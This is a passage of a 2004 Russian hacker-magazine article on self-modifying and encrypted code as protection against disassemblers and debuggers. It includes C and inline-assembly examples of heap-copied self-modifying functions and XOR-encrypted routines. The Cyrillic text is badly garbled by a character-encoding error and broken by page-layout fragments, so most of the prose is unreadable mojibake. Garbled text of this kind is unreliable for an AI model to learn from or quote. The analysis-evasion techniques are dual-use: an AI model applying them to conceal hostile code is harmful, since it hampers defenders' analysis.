äåëàåò íè òîãî, íè äðóãîãî), îí ñîçäà-
åò åäèíñòâåííóþ ïåðåêðåñòíóþ ññûë-
êó, êîòîðàÿ íàïðàâëåíà íà ïîäëîæ-
íóþ ìèøåíü, ðàñïîëîæåííóþ äàëåêî
îò òåàòðà áîåâûõ äåéñòâèé è íèêàê íå
ñâÿçàííóþ ñ ñàìîìîäèôèöèðóþùèì-
ñÿ êîäîì. Ïðè÷åì, åñëè ïîäëîæíàÿ
ìèøåíü áóäåò ðàñïîëîæåíà â îáëàñ-
òè, ëåæàùåé çà ïðåäåëàìè [Image
Base; Image Base + Image Size], ïå-
ðåêðåñòíàÿ ññûëêà âîîáùå íå áóäåò
ñîçäàíà! Íà ðèñ. 4 ìîæíî âèäåòü ëèñ-
òèíã, âûäàííûé IDA PRO.

Ñãåíåðèðîâàííàÿ ïåðåêðåñòíàÿ
ññûëêà âåäåò â ãëóáèíó áèáëèîòå÷íîé
ôóíêöèè _printf, ñëó÷àéíî îêàçàâøåé-
ñÿ íà ýòîì ìåñòå. Ñàì æå ìîäèôèöè-
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ÕÀÊÅÐÑÏÅÖ    11(48) 2004

Ðèñ. 1. Íåðàöèîíàëüíîå èñïîëüçîâàíèå ñàìîìîäèôèöèðóþùåãîñÿ êîäà

Ðèñ. 2. IDA PRO àâòîìàòè÷åñêè ðàñïîçíàëà ôàêò ñàìîìîäèôèêàöèè êîäà

Ðèñ. 3. Õèòðûé ñàìîìîäèôèöèðóþùèé êîä, îáìàíûâàþùèé IDA PRO

ÍÅÌÎÉ ÓÊÎÐ ÇÀ ÊÎÌÏÜÞÒÅÐÍÛÉ ÕÀÐÄÊÎÐ58 RAT



ðóåìûé êîä íè÷åì íå âûäåëÿåòñÿ íà
ôîíå îñòàëüíûõ ìàøèííûõ êîìàíä, è
âçëîìùèê áóäåò àáñîëþòíî óâåðåí,
÷òî çäåñü íàõîäèòñÿ èìåííî "JZ", à íå
"JNZ"! Åñòåñòâåííî, â äàííîì ñëó÷àå
ýòî íå ñèëüíî óñëîæíèò àíàëèç, âåäü
çàùèòíàÿ ïðîöåäóðà (protect_proc)
òîð÷èò ó õàêåðà ïîä ñàìûì íîñîì è îí
îáÿçàòåëüíî ïîëþáîïûòñòâóåò. Îäíà-
êî, åñëè ïîäâåðãíóòü ñàìîìîäèôèêà-
öèè àëãîðèòì ïðîâåðêè ñåðèéíûõ íî-
ìåðîâ, çàìåíÿÿ ROR íà ROL, âçëîì-

ùèê áóäåò äîëãî ìàòåðèòüñÿ, óäèâëÿ-
ÿñü, ïî÷åìó åãî õàêåðñêèé ãåíåðàòîð
íå ñðàáàòûâàåò. À êîãäà çàïóñòèò îò-
ëàä÷èê, áóäåò ðóãàòüñÿ åùå áîëüøå,
ïîñêîëüêó îáíàðóæèò, ÷òî åãî ïîèìå-
ëè, íåçàìåòíî çàìåíèâ îäíó ìàøèí-
íóþ êîìàíäó íà äðóãóþ. Áîëüøèíñòâî
âçëîìùèêîâ, êñòàòè, èìåííî òàê è ïîñ-
òóïàþò - çàïðÿãàþò îòëàä÷èê è äèçàñ-
ñåìáëåð â îäíó óïðÿæêó.

Áîëåå ïðîãðåññèâíûå çàùèòíûå òåõ-
íîëîãèè áàçèðóþòñÿ íà äèíàìè÷åñêîé

øèôðîâêå êîäà. À øèôðîâêà - ýòî,
ïî ñóòè, îäíà èç ðàçíîâèäíîñòåé ñà-
ìîìîäèôèêàöèè. Î÷åâèäíî, ÷òî
âïëîòü äî òîãî ìîìåíòà ïîêà äâîè÷-
íûé êîä íå áóäåò ïîëíîñòüþ ðàñøèô-
ðîâàí, äëÿ äèçàññåìáëèðîâàíèÿ îí
îñòàíåòñÿ íåïðèãîäåí. À åñëè ðàñ-
øèôðîâùèê äîâåðõó íàøïèãîâàí àí-
òèîòëàäî÷íûìè ïðèåìàìè, íåïîñðåä-
ñòâåííàÿ îòëàäêà ñòàíîâèòñÿ íåâîç-
ìîæíîé òàêæå.

Ñòàòè÷åñêàÿ øèôðîâêà (õàðàêòåðíàÿ
äëÿ áîëüøèíñòâà íàâåñíûõ ïðîòåêòî-
ðîâ) â íàñòîÿùåå âðåìÿ ïðèçíàíà ñî-
âåðøåííî áåñïåðñïåêòèâíîé. Äîæäàâ-
øèñü ìîìåíòà çàâåðøåíèÿ ðàñøèô-
ðîâêè, õàêåð ñíèìàåò äàìï è çàòåì èñ-
ñëåäóåò åãî ñòàíäàðòíûìè ñðåäñòâàìè.
Åñòåñòâåííî, çàùèòíûå ìåõàíèçìû òàê
èëè èíà÷å ïûòàþòñÿ ýòîìó ïðîòèâîñòî-
ÿòü. Îíè èñêàæàþò òàáëèöó èìïîðòà,
çàòèðàþò PE-çàãîëîâîê, óñòàíàâëèâà-
þò àòðèáóòû ñòðàíèö â NO_ACCESS,
îäíàêî îïûòíûõ õàêåðîâ òàêèìè ôîêó-
ñàìè íàäîëãî íå îñòàíîâèøü. Ëþáîé,
äàæå ñàìûé èçîùðåííûé, íàâåñíîé
ïðîòåêòîð âðó÷íóþ ñíèìåòñÿ áåç òðó-
äà, à äëÿ íåêîòîðûõ èìåþòñÿ è àâòîìà-
òè÷åñêèå âçëîìùèêè.

Íè â êàêîé ìîìåíò âðåìåíè âåñü êîä
ïðîãðàììû íå äîëæåí áûòü ðàñøèô-
ðîâàí öåëèêîì! Âîçüìè ñåáå çà ïðà-
âèëî, ðàñøèôðîâûâàÿ îäèí ôðàã-
ìåíò, çàøèôðîâûâàòü äðóãîé. Ïðè÷åì
ðàñøèôðîâùèê äîëæåí áûòü ñêîí-
ñòðóèðîâàí òàê, ÷òîáû õàêåð íå ìîã
èñïîëüçîâàòü åãî äëÿ ðàñøèôðîâêè
ïðîãðàììû. Ýòî òèïè÷íàÿ óÿçâèìîñòü
áîëüøèíñòâà çàùèòíûõ ìåõàíèçìîâ.
Õàêåð íàõîäèò òî÷êó âõîäà â ðàñøèô-
ðîâùèê, âîññòàíàâëèâàåò åãî ïðîòî-
òèï è ïðîïóñêàåò ÷åðåç íåãî âñå çà-
øèôðîâàííûå áëîêè, ïîëó÷àÿ íà âû-
õîäå ãîòîâûé ê óïîòðåáëåíèþ äàìï.
Ïðè÷åì, åñëè ðàñøèôðîâùèê ïðåäñ-
òàâëÿåò ñîáîé òðèâèàëüíûé XOR, õà-
êåðó áóäåò äîñòàòî÷íî îïðåäåëèòü
ìåñòî õðàíåíèÿ êëþ÷åé, à ðàñøèôðî-
âàòü ïðîãðàììó îí ñìîæåò è ñàì.

×òîáû ýòîãî íå ñëó÷èëîñü, çàùèòíûå
ìåõàíèçìû äîëæíû èñïîëüçîâàòü ïî-
ëèìîðôíûå òåõíîëîãèè è ãåíåðàòîðû
êîäà. Àâòîìàòèçèðîâàòü ðàñøèôðîâêó
ïðîãðàììû, êîòîðàÿ ñîñòîèò èç íåñ-
êîëüêèõ ñîòåí ôðàãìåíòîâ, çàøèôðî-
âàííûõ ñãåíåðèðîâàííûìè "íà ëåòó"
êðèïòîðàìè, ïðàêòè÷åñêè íåâîçìîæíî.
Îäíàêî è ðåàëèçîâàòü ïîäîáíûé çà-
ùèòíûé ìåõàíèçì îòíþäü íå ïðîñòî.
Âïðî÷åì, ïðåæäå ÷åì ñòàâèòü ïåðåä
ñîáîé ãðàíäèîçíûå öåëè, äàâàé ëó÷øå
ðàçáåðåìñÿ ñ îñíîâàìè.

ÏÐÈÍÖÈÏÛ ÏÎÑÒÐÎÅÍÈß
ÑÀÌÎÌÎÄÈÔÈÖÈÐÓÞÙÅÃÎÑß
ÊÎÄÀ

Ðàííèå ìîäåëè ïðîöåññîðîâ x86
íå ïîääåðæèâàëè êîãåðåíòíîñòè ìà-
øèííîãî êîäà è íå îòñëåæèâàëè ïî-
ïûòîê ìîäèôèêàöèè êîìàíä, óæå íà-
õîäÿùèõñÿ íà êîíâåéåðå. Ñ îäíîé
ñòîðîíû, ýòî óñëîæíÿëî ðàçðàáîòêó
ñàìîìîäèôèöèðóþùåãîñÿ êîäà, ñ
äðóãîé � ïîçâîëÿëî îäóðà÷èòü îò-
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Ïðåäñòàâè-
òåëè ïðî-
öåññîðîâ
ïëåìåíè
Pentium â
äåéñòâè-
òåëüíîñòè
ïîñòðîåíû
ïî Ãàâàð-
äñêîé àðõè-
òåêòóðå
(êîä è äàí-
íûå îáðàáà-
òûâàþòñÿ
ðàçäåëüíî)
è Ôîí-Íåé-
ìîíîâñêóþ
îíè òîëüêî
ýìóëèðóþò,
ïîýòîìó ñà-
ìîìîäèôè-
öèðóþùèé-
ñÿ êîä ðåç-
êî ñíèæàåò
èõ ïðîèçâî-
äèòåëü-
íîñòü.

Ñàìîìîäè-
ôèöèðóþ-
ùèéñÿ êîä
âîçìîæåí
òîëüêî íà
êîìïüþòå-
ðàõ Ôîí-
Íåéìîíîâñ-
êîé àðõè-
òåêòóðû
(îäíè è òå
æå ÿ÷åéêè
ïàìÿòè â
ðàçëè÷íîå
âðåìÿ ìîãóò
òðàêòîâàòü-
ñÿ è êàê
êîä, è êàê
äàííûå).

Ðèñ. 4. Äèçàññåìáëåðíûé ëèñòèíã îáìàíóòîé IDA PRO

//îïðåäåëÿåì ðàçìåð ñàìîìîäèôèöèðóþùåéñÿ ôóíêöèè
#define SELF_SIZE ((int) x_self_mod_end - (int) x_self_mod_code)
//íà÷àëî ñàìîìîäèôèöèðóþùåéñÿ ôóíêöèè
//ñïåöèôèêàòîð naked, ïîääåðæèâàåìûé êîìïèëÿòîðîì MS VC,
//óêàçûâàåò êîìïèëÿòîðó íà íåîáõîäèìîñòü ñîçäàíèÿ ÷èñòîé
//àññåìáëåðíîé ôóíêöèè, òî åñòü òàêîé ôóíêöèè, êóäà êîìïèëÿòîð
//íå âíåäðÿåò íèêàêîé îòñåáÿòèíû
__declspec( naked ) int x_self_mod_code(int a, int b )
{
__asm{
begin_sm: ; íà÷àëî ñàìîìîäèôèöèðóþùåãîñÿ êîäà
mov eax, [esp+4] ; ïîëó÷àåì ïåðâûé àðãóìåíò
call get_eip ; îïðåäåëÿåì ñâîå òåêóùåå ïîëîæåíèå â ïàìÿòè
get_eip:
add eax, [esp + 8 + 4] ; ñêëàäûâàåì/âû÷èòàåì èç ïåðâîãî àðãóìåíòà âòîðîé
pop edx ; â edx àäðåñ íà÷àëà èíñòðóêöèè add eax, �
xor byte ptr [edx],28h ; ìåíÿåì add íà sub è íàîáîðîò
ret ; âîçâðàùàåìñÿ â ìàòåðèíñêóþ ôóíêöèþ
}
} x_self_mod_end(){/* êîíåö ñàìîìîäèôèöèðóþùåéñÿ ôóíêöèè */ }
main()
{
int a;
int (__cdecl *self_mod_code)(int a, int b);
// ðàñêîììåíòèðóé ñëåäóþùóþ ñòðîêó, ÷òîáû óáåäèòüñÿ, ÷òî íåïîñðåäñòâåííàÿ
// ñàìîìîäèôèêàöèÿ ïîä Windows íåâîçìîæíà (ñèñòåìà âûïëþíåò èñêëþ÷åíèå)
// self_mod_code(4,2);
// âûäåëÿåì ïàìÿòü èç êó÷è (â êó÷å ìîäèôèêàöèÿ êîäà ðàçðåøåíà)
// ñ òàêèì æå óñïåõîì ìû ìîãëè áû âûäåëèòü ïàìÿòü èç ñòåêà:
// self_mod_code[SELF_SIZE];
self_mod_code = (int (__cdecl*)(int, int)) malloc(SELF_SIZE);
// êîïèðóåì ñàìîìîäèôèöèðóþùèéñÿ êîä â ñòåê/êó÷ó
memcpy(self_mod_code, x_self_mod_code, SELF_SIZE);
// âûçûâàåì ñàìîìîäèôèöèðóþùóþñÿ ïðîöåäóðó 10 ðàç
for (a = 1;a< 10;a++) printf("%02X ", self_mod_code(4,2)); printf("\n");
}

ÑÀÌÎÌÎÄÈÔÈÊÀÖÈß ÊÎÄÀ ÍÀ ÑÒÅÊÅ/ÊÓ×Å



Èñõîäíèêè è
èëëþñòðà-
öèè èç
ñòàòüè òû
ìîæåøü âè-
äåòü è íà
äèñêå.

ëàä÷èê, ðàáîòàþùèé â òðàññèðóþ-
ùåì ðåæèìå. 

Ïðè ïðîãîíå ïðîãðàììû íà æèâîì
ïðîöåññîðå èíñòðóêöèÿ INC AL çàìå-
íÿåòñÿ NOP�îì, îäíàêî, ïîñêîëüêó INC
AL óæå íàõîäèòñÿ íà êîíâåéåðå, ðå-
ãèñòð AL âñå-òàêè óâåëè÷èâàåòñÿ íà
åäèíèöó. Ïîøàãîâàÿ òðàññèðîâêà
ïðîãðàììû âåäåò ñåáÿ èíà÷å. Îòëà-
äî÷íîå èñêëþ÷åíèå, ñãåíåðèðîâàí-
íîå íåïîñðåäñòâåííî ïîñëå âûïîëíå-
íèÿ èíñòðóêöèè STOSB, î÷èùàåò êîí-
âåéåð, è óïðàâëåíèå ïîëó÷àåò óæå íå
INC AL, à NOP, âñëåäñòâèå ÷åãî óâå-
ëè÷åíèÿ ðåãèñòðà AL íå ïðîèñõîäèò!
Åñëè çíà÷åíèå AL èñïîëüçóåòñÿ äëÿ
ðàñøèôðîâêè ïðîãðàììû, òî îòëàä-
÷èê ñêàæåò õàêåðó: [censored]! Ïðî-
öåññîðû ñåìåéñòâà Pentium îòñëåæè-
âàþò ìîäèôèêàöèþ êîìàíä, óæå íà-
õîäÿùèõñÿ íà êîíâåéåðå, è ïîòîìó
ïðîãðàììíàÿ äëèíà êîíâåéåðà ðàâíà
íóëþ. Êàê ñëåäñòâèå, çàùèòíûå ìåõà-
íèçìû êîíâåéåðíîãî òèïà, ïîïàâ íà
Pentium, îøèáî÷íî ïîëàãàþò, ÷òî
âñåãäà èñïîëíÿþòñÿ ïîä îòëàä÷èêîì.
Ýòî âïîëíå äîêóìåíòèðîâàííàÿ îñî-
áåííîñòü ïîâåäåíèÿ ïðîöåññîðà, êî-
òîðàÿ ñîõðàíèòñÿ è â ïîñëåäóþùèõ
ìîäåëÿõ. Èñïîëüçîâàíèå ñàìîìîäè-
ôèöèðóþùåãîñÿ êîäà ñ ôîðìàëüíîé
òî÷êè çðåíèÿ âïîëíå çàêîííî. Îäíà-
êî ñëåäóåò ïîìíèòü, ÷òî çëîóïîòðåá-
ëåíèå èì îòðèöàòåëüíî âëèÿåò íà
ïðîèçâîäèòåëüíîñòü çàùèùàåìîãî
ïðèëîæåíèÿ. Êîäîâûé êýø ïåðâîãî
óðîâíÿ äîñòóïåí òîëüêî íà ÷òåíèå, è
ïðÿìàÿ çàïèñü â íåãî íåâîçìîæíà.
Ïðè ìîäèôèêàöèè ìàøèííûõ êîìàíä
â ïàìÿòè, â äåéñòâèòåëüíîñòè ìîäè-
ôèöèðóåòñÿ êýø äàííûõ! Çàòåì ïðî-
èñõîäÿò ýêñòðåííûé ñáðîñ êîäîâîãî
êýøà è ïåðåçàãðóçêà èçìåíåííûõ
êýø-ëèíååê, íà ÷òî ðàñõîäóåòñÿ äîñ-
òàòî÷íî áîëüøîå êîëè÷åñòâî ïðîöåñ-
ñîðíûõ òàêòîâ. Íèêîãäà íå âûïîëíÿé
ñàìîìîäèôèöèðóþùèéñÿ êîä â ãëó-
áîêî âëîæåííîì öèêëå, åñëè, êîíå÷-
íî, òû íå õî÷åøü çàòîðìîçèòü ñêî-
ðîñòü ñâîåé ïðîãðàììû äî ñêîðîñòè
àñôàëüòîâîãî êàòêà.

Õîäÿò ñëóõè, ÷òî ñàìîìîäèôèöèðóþ-
ùèéñÿ êîä âîçìîæåí òîëüêî â MS-
DOS, à â Windows - íåò. Äîëÿ èñòèíû â
ýòîì åñòü, íî ïðè æåëàíèè ìû ìîæåì
îáîéòè âñå çàïðåòû è îãðàíè÷åíèÿ.
Ïðåæäå âñåãî, ðàçáåðåìñÿ ñ àòðèáóòà-
ìè äîñòóïà ê ñòðàíèöàì è ñåãìåíòàì.
Ïðîöåññîðû x86 ïîääåðæèâàþò òðè
àòðèáóòà äëÿ äîñòóïà ê ñåãìåíòàì
(÷òåíèå, çàïèñü è èñïîëíåíèå) è äâà �
ê ñòðàíèöàì (äîñòóï è çàïèñü). Îïåðà-
öèîííûå ñèñòåìû ñåìåéñòâà Windows
ñîâìåùàþò êîäîâûé ñåãìåíò ñ ñåãìåí-
òîì äàííûõ â åäèíîì àäðåñíîì ïðîñò-
ðàíñòâå, à ïîòîìó àòðèáóòû ÷òåíèÿ è

èñïîëíåíèÿ äëÿ íèõ ïîëíîñòüþ ýêâè-
âàëåíòíû.

Èñïîëíÿåìûé êîä ìîæåò áûòü ðàñ-
ïîëîæåí â ëþáîé äîñòóïíîé îáëàñòè
ïàìÿòè � ñòåêå, êó÷å, îáëàñòè ãëî-
áàëüíûõ ïåðåìåííûõ è ò.ä. Ñòåê ñ êó-
÷åé ïî óìîë÷àíèþ äîñòóïíû äëÿ çàïè-
ñè è âïîëíå ïðèãîäíû äëÿ ðàçìåùå-
íèÿ ñàìîìîäèôèöèðóþùåãîñÿ êîäà.
Êîíñòàíòíûå ãëîáàëüíûå è ñòàòè÷åñ-
êèå ïåðåìåííûå îáû÷íî ðàçìåùàþò-
ñÿ â ñåêöèè .rdata, äîñòóïíîé òîëüêî
íà ÷òåíèå (è, ðàçóìååòñÿ, íà èñïîëíå-
íèå), è âñÿêàÿ ïîïûòêà èõ ìîäèôèêà-
öèè çàâåðøàåòñÿ èñêëþ÷åíèåì.

Òàêèì îáðàçîì, âñå, ÷òî íàì íóæíî,
� ýòî ñêîïèðîâàòü ñàìîìîäèôèöèðóþ-
ùèéñÿ êîä â ñòåê (êó÷ó), ãäå îí ñìî-
æåò õàðàêèðèòü ñåáÿ êàê çàõî÷åò.

Ñàìîìîäèôèöèðóþùèéñÿ êîä çàìå-
íÿåò ìàøèííóþ êîìàíäó "ADD" íà
"SUB", à "SUB" íà "ADD", è ïîòîìó
öèêëè÷åñêèé âûçîâ ôóíêöèè
self_mod_code âîçâðàùàåò ñëåäóþ-
ùóþ ïîñëåäîâàòåëüíîñòü ÷èñåë: "06
02 06 02�", ïîäòâåðæäàÿ òåì ñà-
ìûì óñïåøíîå çàâåðøåíèå àêòà ñà-
ìîìîäèôèêàöèè.

Íåêîòîðûå íàõîäÿò ïðåäëîæåííóþ
òåõíîëîãèþ ñëèøêîì ãðîìîçäêîé. Íå-
êîòîðûõ âîçìóùàåò òî, ÷òî êîïèðóå-
ìûé êîä äîëæåí áûòü ïîëíîñòüþ ïå-

ðåìåùàåìûì, òî åñòü ñîõðàíÿþùèì
ñâîþ ðàáîòîñïîñîáíîñòü íåçàâèñèìî
îò òåêóùåãî ìåñòîïîëîæåíèÿ â ïàìÿ-
òè. Êîä, ñãåíåðèðîâàííûé êîìïèëÿòî-
ðîì, â îáùåì ñëó÷àå òàêîâûì íå ÿâ-
ëÿåòñÿ, ÷òî âûíóæäàåò íàñ ñïóñêàòüñÿ
íà ÷èñòî àññåìáëåðíûé óðîâåíü. Êà-
ìåííûé âåê! Íåóæåëè äî ñèõ ïîð ïðîã-
ðàììèñòû íå äîäóìàëèñü äî áîëåå
ïðîãðåññèâíûõ ìåòîäèê?! À êàê æå!

Äàâàé äëÿ ðàçíîîáðàçèÿ ïîïðîáóåì
ñîçäàòü ïðîñòåéøóþ çàøèôðîâàí-
íóþ ïðîöåäóðó, íàïèñàííóþ ïîë-
íîñòüþ íà ÿçûêå âûñîêîãî óðîâíÿ
(íàïðèìåð, Ñè, õîòÿ òå æå ñàìûå ïðèå-
ìû ïðèãîäíû è äëÿ Ïàñêàëÿ ñ åãî
óðîäëèâûì ðîäñòâåííèêîì Delphi).
Ïðè ýòîì ìû áóäåì èñõîäèòü èç ñëåäó-
þùèõ ïðåäïîëîæåíèé: à) ïîðÿäîê
ðàçìåùåíèÿ ôóíêöèé â ïàìÿòè ñîâïà-
äàåò ñ î÷åðåäíîñòüþ èõ îáúÿâëåíèÿ â
ïðîãðàììå (ïðàêòè÷åñêè âñå êîìïèëÿ-
òîðû òàê è ïîñòóïàþò); á) øèôðóåìàÿ
ôóíêöèÿ íå ñîäåðæèò ïåðåìåùàåìûõ
ýëåìåíòîâ, òàêæå íàçûâàåìûõ fix-
up'àìè èëè ðåëîêàöèÿìè (ýòî ñïðàâåä-
ëèâî äëÿ áîëüøèíñòâà èñïîëíÿåìûõ
ôàéëîâ, íî äèíàìè÷åñêèì áèáëèîòå-
êàì áåç ðåëîêàöèé íèêóäà).

Äëÿ óñïåøíîé ðàñøèôðîâêè ïðî-
öåäóðû íàì íåîáõîäèìî îïðåäåëèòü
ñòàðòîâûé àäðåñ åå ðàçìåùåíèÿ â
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Äëÿ íàïèñà-
íèÿ ñàìîîá-
íîâëåíèÿ ïî
èíòåðíåòó
íåîáõîäèìî
èìåòü
ïðåäñòàâëå-
íèå è î
PHP. Çíà-
íèå ôóíê-
öèé
wininet.dll
òîæå íå
ïîâðåäèò.

Ôàíàòû Àñ-
ñåìáëåðà
óâåðÿþò,
÷òî îí ïîä-
äåðæèâàåò
ñàìîìîäè-
ôèöèðóþ-
ùèéñÿ êîä.
Ýòî íåâåð-
íî! Ó Àññå-
ìáëåðà íåò
íèêàêèõ
ñðåäñòâ äëÿ
ðàáîòû ñ
ñàìîìîäè-
ôèöèðóþ-
ùèìñÿ êî-
äîì, êðîìå
äèðåêòèâíû
DB. Òàêàÿ, ñ
ïîçâîëåíèÿ
ñêàçàòü,
"ïîääåðæ-
êà" åñòü è â
Ñè!
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#define CRYPT_LEN ((int)crypt_end - (int)for_crypt)
// ìàðêåð íà÷àëà
mark_begin(){__asm _emit 'K' __asm _emit 'P' __asm _emit 'N' __asm _emit 'C'}
// çàøèôðîâàííàÿ ôóíêöèÿ
for_crypt(int a, int b)
{
return a + b;
} crypt_end(){}
// ìàðêåð êîíöà
mark_end (){__asm _emit 'K' __asm _emit 'P' __asm _emit 'N' __asm _emit 'C'}
// ðàñøèôðîâùèê
crypt_it(unsigned char *p, int c)
{
int a; for (a = 0; a < c; a++) *p++ ^= 0x66; 
}
main()
{
// ðàñøèôðîâûâàåì çàùèòíóþ ôóíêöèþ
crypt_it((unsigned char*) for_crypt, CRYPT_LEN);
// âûçûâàåì çàùèòíóþ ôóíêöèþ
printf("%02Xh\n",for_crypt(0x69, 0x66));
// çàøèôðîâûâàåì îïÿòü
crypt_it((unsigned char*) for_crypt, CRYPT_LEN);
}

ÑÀÌÎÌÎÄÈÔÈÊÀÖÈß ÍÀ ÑËÓÆÁÅ Ó ØÈÔÐÎÂÀÍÈß

Ðèñ. 5. Ìîäèôèêàöèÿ ìàøèííîé êîìàí-
äû, óæå íàõîäÿùåéñÿ íà êîíâåéåðå

Èñïîëíÿåìûé êîä ìîæåò áûòü ðàñïîëîæåí â
ëþáîé äîñòóïíîé îáëàñòè ïàìÿòè � ñòåêå,

êó÷å, îáëàñòè ãëîáàëüíûõ ïåðåìåííûõ è ò.ä.



ïàìÿòè. Ýòî ëåãêî. Ñîâðåìåííûå ÿçû-
êè âûñîêîãî óðîâíÿ ïîääåðæèâàþò
îïåðàöèè ñ óêàçàòåëÿìè íà ôóíê-
öèþ. Íà Ñè/Ñè++ ýòî âûãëÿäèò ïðèá-
ëèçèòåëüíî òàê: "void *p; p = (void*)
func;". Ñëîæíåå èçìåðÿòü äëèíó
ôóíêöèè. Ëåãàëüíûå ñðåäñòâà ÿçûêà
íå ïðåäîñòàâëÿþò òàêîé âîçìîæíîñ-
òè, è ïðèõîäèòñÿ õèòðèòü, îïðåäåëÿÿ
äëèíó êàê ðàçíîñòü äâóõ óêàçàòåëåé:
óêàçàòåëÿ íà çàøèôðîâàííóþ ôóíê-
öèþ è óêàçàòåëÿ íà ôóíêöèþ, ðàñïî-
ëîæåííóþ íåïîñðåäñòâåííî çà åå
êîíöîì. Ðàçóìååòñÿ, åñëè êîìïèëÿòî-
ðó çàõî÷åòñÿ íàðóøèòü åñòåñòâåí-
íûé ïîðÿäîê ñëåäîâàíèÿ ôóíêöèé,
ýòîò ïðèåì íå ñðàáîòàåò è ðàñøèô-
ðîâêà ïîéäåò ïðàõîì. 

È ïîñëåäíåå. Íè îäèí èç âñåõ èçâå-
ñòíûõ ìíå êîìïèëÿòîðîâ íå ïîçâî-
ëÿåò ãåíåðèðîâàòü çàøèôðîâàííûé
êîä, è ýòó îïåðàöèþ ïðèõîäèòñÿ îñó-
ùåñòâëÿòü âðó÷íóþ � ñ ïîìîùüþ

HIEW'à èëè ñâîèõ ñîáñòâåííûõ óòè-
ëèò. Íî êàê ìû íàéäåì øèôðóåìóþ
ôóíêöèþ â äâîè÷íîì ôàéëå?
Âçëîìùèêè èñïîëüçóþò íåñêîëüêî
êîíêóðèðóþùèõ ñïîñîáîâ, â çàâèñè-
ìîñòè îò ñèòóàöèè îòäàâàÿ ïðåäïî÷-
òåíèå òî îäíîìó, òî äðóãîìó.

Â ïðîñòåéøåì ñëó÷àå øèôðóåìàÿ
ôóíêöèÿ îêàíòîâûâàåòñÿ ìàðêåðàìè
� óíèêàëüíûìè áàéòîâûìè ïîñëåäîâà-
òåëüíîñòÿìè, ãàðàíòèðîâàííî íå
âñòðå÷àþùèìèñÿ â îñòàëüíûõ ÷àñòÿõ
ïðîãðàììû. Îáû÷íî ìàðêåðû çàäàþò-
ñÿ ñ ïîìîùüþ äèðåêòèâû _emit,
ïðåäñòàâëÿþùåé ñîáîé àíàëîã àññå-
ìáëåðíîãî DB. Íàïðèìåð, ñëåäóþùàÿ
êîíñòðóêöèÿ ñîçäàåò òåêñòîâóþ ñòðî-
êó "KPNC" � __asm _emit 'K' __asm
_emit 'P' __asm _emit 'N' __asm _emit
'C'. Òîëüêî íå ïûòàéñÿ ðàñïîëàãàòü
ìàðêåðû âíóòðè øèôðóåìîé ôóíê-
öèè. Ïðîöåññîð íå ïîéìåò þìîðà è
âûïëþíåò èñêëþ÷åíèå. Íàêàëûâàé »

Ðèñ. 6. Øèôðîâêà çàùèòíîé ïðîöåäóðû â HIEW'e

Ðèñ. 7. Âíåøíèé âèä çàøèôðîâàííîé ïðîöåäóðû

Äëÿ óñïåøíîé ðàñøèôðîâêè ïðîöåäóðû íàì
íåîáõîäèìî îïðåäåëèòü ñòàðòîâûé àäðåñ åå

ðàçìåùåíèÿ â ïàìÿòè.



ìàðêåðû íà âåðøèíó è äíî ôóíêöèè,
íî íå òðîãàé åå òåëî!

Âûáîð àëãîðèòìà øèôðîâàíèÿ íåï-
ðèíöèïèàëåí. Êòî-òî èñïîëüçóåò XOR,
êòî-òî òÿãîòååò ê DES èëè RSA. Åñòåñò-
âåííî, XOR ëîìàåòñÿ íàìíîãî ïðîùå,
îñîáåííî åñëè äëèíà êëþ÷à íåâåëèêà.
Îäíàêî â ïðèìåðå, ïðèâåäåííîì íè-
æå, ìû îñòàíîâèìñÿ èìåííî íà XOR,
ïîñêîëüêó DES è RSA êðàéíå ãðîìîçä-
êè è ñîâåðøåííî íåíàãëÿäíû.

Îòêîìïèëèðîâàâ ýòó ïðîãðàììó
îáû÷íûì îáðàçîì (íàïðèìåð, "cl.exe
/c FileName.C"), ìû ïîëó÷èì îáúåêò-
íûé ôàéë FileName.obj. Òåïåðü íàì
íåîáõîäèìî ñêîìïîíîâàòü èñïîëíÿå-
ìûé ôàéë, ïðåäóñìîòðèòåëüíî îòê-
ëþ÷èâ çàùèòó êîäîâîé ñåêöèè îò çà-
ïèñè. Â ëèíêåðå Microsoft Link çà ýòî
îòâå÷àåò êëþ÷ /SECTION, çà êîòîðûì
èäåò èìÿ ñåêöèè è íàçíà÷àåìûå åé
àòðèáóòû, íàïðèìåð, "link.exe
FileName.obj /FIXED
/SECTION:.text,ERW". Çäåñü: /FIXED �
êëþ÷, óäàëÿþùèé ïåðåìåùàåìûå
ýëåìåíòû (ìû âåäü ïîìíèì, ÷òî ïåðå-
ìåùàåìûå ýëåìåíòû íåîáõîäèìî
óäàëÿòü), ".text" � èìÿ êîäîâîé ñåê-
öèè, à "ERW" � ýòî ïåðâûå áóêâû
Executable, Readable, Writable, õîòÿ
ïðè æåëàíèè Executable ìîæíî è
îïóñòèòü � íà ðàáîòîñïîñîáíîñòü
ôàéëà ýòî íèêàê íå ïîâëèÿåò. Äðó-
ãèå ëèíêåðû èñïîëüçóþò ñâîè êëþ÷è,
îïèñàíèå êîòîðûõ ìîæíî íàéòè â äî-
êóìåíòàöèè. Èìÿ êîäîâîé ñåêöèè íå
âñåãäà ñîâïàäàåò ñ ".text", ïîýòîìó,
åñëè ó òåáÿ ÷òî-òî íå ïîëó÷àåòñÿ, èñ-
ïîëüçóé óòèëèòó MS DUMPBIN äëÿ
âûÿñíåíèÿ êîíêðåòíûõ îáñòîÿ-
òåëüñòâ.

Ñôîðìèðîâàííûé ëèíêåðîì ôàéë
ïîêà íå ïðèãîäåí äëÿ çàïóñêà, âåäü
çàùèùåííàÿ ôóíêöèÿ åùå íå çà-
øèôðîâàíà! ×òîáû åå çàøèôðîâàòü,
çàïóñòèì HIEW, ïåðåêëþ÷èìñÿ â HEX-
ðåæèì è çàïóñòèì êîíòåêñòíûé ïîèñê
ìàðêåðíîé ñòðîêè (<F7>, "KPNC",
<ENTER>). Âîò îíà! (ñì. ðèñ. 6). Òåïåðü
îñòàåòñÿ ëèøü çàøèôðîâàòü âñå, ÷òî
ðàñïîëîæåíî âíóòðè ìàðêåðîâ
"KPNC". Íàæèìàåì <F3> è ïåðåõîäèì â
ðåæèì ðåäàêòèðîâàíèÿ, çàòåì äàâèì
<F8> è çàäàåì ìàñêó øèôðîâàíèÿ (â
äàííîì ñëó÷àå îíà ðàâíà 66h). Êàæ-
äîå ïîñëåäóþùåå íàæàòèå íà <F8> çà-
øèôðîâûâàåò îäèí áàéò, ïåðåìåùàÿ

êóðñîð ïî òåêñòó. <F9> ñîõðàíÿåò èç-
ìåíåíèÿ íà äèñêå. Ïîñëå òîãî êàê
ôàéë áóäåò çàøèôðîâàí, ïîòðåá-
